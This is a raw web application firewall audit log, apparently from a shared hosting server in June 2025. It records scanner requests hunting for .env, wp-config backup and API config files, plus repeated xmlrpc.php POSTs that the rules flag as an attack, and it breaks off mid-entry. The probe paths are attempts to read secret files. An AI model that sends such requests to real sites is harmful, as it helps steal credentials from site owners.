proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035185570522 714554 (- - -) Stopwatch2: 1750035185570522 714554; combined=1983, p1=385, p2=1495, p3=0, p4=0, p5=102, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c02c73d-Z-- --c1aac755-A-- [16/Jun/2025:06:23:12.293171 +0530] aE9q9516HYQp4eDf7R1YVgAAAAI 185.177.72.210 54110 127.0.0.1 7081 --c1aac755-B-- GET /.envrc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1aac755-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d720226e96e29610f124bd4c6b2fd9941750035192; expires=Mon, 16 Jun 2025 01:53:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1aac755-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.envrc"] [unique_id "aE9q9516HYQp4eDf7R1YVgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035191607657 685602 (- - -) Stopwatch2: 1750035191607657 685602; combined=2002, p1=427, p2=1449, p3=0, p4=0, p5=126, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1aac755-Z-- --341d6622-A-- [16/Jun/2025:06:23:22.804684 +0530] aE9rAfbo0R64L12N_alXqgAAAAQ 128.199.112.101 52388 127.0.0.1 7081 --341d6622-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --341d6622-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --341d6622-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9rAfbo0R64L12N_alXqgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035201845007 959745 (- - -) Stopwatch2: 1750035201845007 959745; combined=2383, p1=356, p2=1570, p3=44, p4=69, p5=208, sr=96, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --341d6622-Z-- --7117f25b-A-- [16/Jun/2025:06:24:16.054574 +0530] aE9rNzC9bb-fhYp4LpFT1gAAAAM 185.177.72.210 42664 127.0.0.1 7081 --7117f25b-B-- GET /vue_CRM/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7117f25b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=233f3befb5c85a4130ce82f8d1a696be1750035255; expires=Mon, 16 Jun 2025 01:54:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7117f25b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vue_CRM/.env"] [unique_id "aE9rNzC9bb-fhYp4LpFT1gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035255387116 667521 (- - -) Stopwatch2: 1750035255387116 667521; combined=1835, p1=435, p2=1310, p3=0, p4=0, p5=90, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7117f25b-Z-- --658c786e-A-- [16/Jun/2025:06:24:23.043580 +0530] aE9rPqpdvXW4_hknQUU4WQAAAAo 128.199.112.101 33888 127.0.0.1 7081 --658c786e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --658c786e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --658c786e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9rPqpdvXW4_hknQUU4WQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035262076923 966714 (- - -) Stopwatch2: 1750035262076923 966714; combined=2381, p1=388, p2=1559, p3=48, p4=72, p5=193, sr=115, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --658c786e-Z-- --a2429676-A-- [16/Jun/2025:06:24:26.473789 +0530] aE9rQRqlZKl9zSjMrhQ3TwAAAAE 185.177.72.210 34004 127.0.0.1 7081 --a2429676-B-- GET /configura.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a2429676-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ee5160f0235b533cc98e8fa73fa278391750035266; expires=Mon, 16 Jun 2025 01:54:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a2429676-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configura.backup"] [unique_id "aE9rQRqlZKl9zSjMrhQ3TwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035265797974 675878 (- - -) Stopwatch2: 1750035265797974 675878; combined=2060, p1=405, p2=1543, p3=0, p4=0, p5=112, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2429676-Z-- --b5e33a7b-A-- [16/Jun/2025:06:24:34.132601 +0530] aE9rSRqlZKl9zSjMrhQ3UgAAAAE 185.177.72.210 59048 127.0.0.1 7081 --b5e33a7b-B-- GET /:8443/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b5e33a7b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=99b5ea233c57923299e70e1ec2a9fa151750035273; expires=Mon, 16 Jun 2025 01:54:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b5e33a7b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/admin/.env.staging"] [unique_id "aE9rSRqlZKl9zSjMrhQ3UgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035273486973 645703 (- - -) Stopwatch2: 1750035273486973 645703; combined=1928, p1=357, p2=1466, p3=0, p4=0, p5=105, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b5e33a7b-Z-- --d34ac15f-A-- [16/Jun/2025:06:24:35.133915 +0530] aE9rSp16HYQp4eDf7R1YdwAAAAI 185.177.72.210 59072 127.0.0.1 7081 --d34ac15f-B-- GET /roundcube/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d34ac15f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4385e160a570aa9da735d5db487cbc01750035274; expires=Mon, 16 Jun 2025 01:54:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d34ac15f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/roundcube/.env"] [unique_id "aE9rSp16HYQp4eDf7R1YdwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035274464558 669439 (- - -) Stopwatch2: 1750035274464558 669439; combined=1890, p1=377, p2=1409, p3=0, p4=0, p5=103, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d34ac15f-Z-- --f2b51b2a-A-- [16/Jun/2025:06:24:36.169622 +0530] aE9rS5_Rv4EBtUyS5c4IrgAAAAU 185.177.72.210 59114 127.0.0.1 7081 --f2b51b2a-B-- GET /:8181/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f2b51b2a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c605b6f867d43dc8f6d0e777df380441750035276; expires=Mon, 16 Jun 2025 01:54:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f2b51b2a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/shop/.env"] [unique_id "aE9rS5_Rv4EBtUyS5c4IrgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035275466675 703012 (- - -) Stopwatch2: 1750035275466675 703012; combined=2040, p1=433, p2=1482, p3=0, p4=0, p5=124, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2b51b2a-Z-- --1621ce50-A-- [16/Jun/2025:06:24:40.312128 +0530] aE9rT5LRu31pT8F-J2ZPHwAAAAc 185.177.72.210 57736 127.0.0.1 7081 --1621ce50-B-- GET /wp-config.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1621ce50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=beac31feee3d3bef57937c6e44a3b5761750035280; expires=Mon, 16 Jun 2025 01:54:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1621ce50-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.backup"] [unique_id "aE9rT5LRu31pT8F-J2ZPHwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035279639259 672945 (- - -) Stopwatch2: 1750035279639259 672945; combined=2036, p1=345, p2=1574, p3=0, p4=0, p5=116, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1621ce50-Z-- --5fe2520a-A-- [16/Jun/2025:06:24:45.422572 +0530] aE9rVJ_Rv4EBtUyS5c4IsgAAAAU 185.177.72.210 57938 127.0.0.1 7081 --5fe2520a-B-- GET /env/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5fe2520a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cbf6c602667e2b4008eae63adeb36eb31750035285; expires=Mon, 16 Jun 2025 01:54:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5fe2520a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/env/example/.env"] [unique_id "aE9rVJ_Rv4EBtUyS5c4IsgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035284757682 664966 (- - -) Stopwatch2: 1750035284757682 664966; combined=1836, p1=359, p2=1370, p3=0, p4=0, p5=106, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5fe2520a-Z-- --5b20be18-A-- [16/Jun/2025:06:24:53.463681 +0530] aE9rXJ_Rv4EBtUyS5c4ItQAAAAU 185.177.72.210 34080 127.0.0.1 7081 --5b20be18-B-- GET /:5601/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b20be18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5db5c268702ac27292680d52d3b6fdd1750035293; expires=Mon, 16 Jun 2025 01:54:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b20be18-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/v1/.env"] [unique_id "aE9rXJ_Rv4EBtUyS5c4ItQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035292801009 662749 (- - -) Stopwatch2: 1750035292801009 662749; combined=1661, p1=367, p2=1185, p3=0, p4=0, p5=108, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b20be18-Z-- --670db32e-A-- [16/Jun/2025:06:24:59.006272 +0530] aE9rYtNEcm-DhAkC0ibfYQAAAAY 185.177.72.210 34272 127.0.0.1 7081 --670db32e-B-- GET /config/google_api.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --670db32e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9aea0f1e2c8e2c0908a7141a473998691750035298; expires=Mon, 16 Jun 2025 01:54:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --670db32e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/google_api.cfg"] [unique_id "aE9rYtNEcm-DhAkC0ibfYQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035298358900 647470 (- - -) Stopwatch2: 1750035298358900 647470; combined=1984, p1=338, p2=1497, p3=0, p4=0, p5=149, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --670db32e-Z-- --4fa97600-A-- [16/Jun/2025:06:25:22.981791 +0530] aE9retNEcm-DhAkC0ibfbQAAAAY 128.199.112.101 58416 127.0.0.1 7081 --4fa97600-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4fa97600-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4fa97600-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9retNEcm-DhAkC0ibfbQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035322025896 955951 (- - -) Stopwatch2: 1750035322025896 955951; combined=2395, p1=354, p2=1613, p3=46, p4=85, p5=183, sr=98, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4fa97600-Z-- --1542ca2d-A-- [16/Jun/2025:06:26:01.969201 +0530] aE9roZ16HYQp4eDf7R1YmgAAAAI 185.177.72.210 37422 127.0.0.1 7081 --1542ca2d-B-- GET /:8000/configurationtion.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 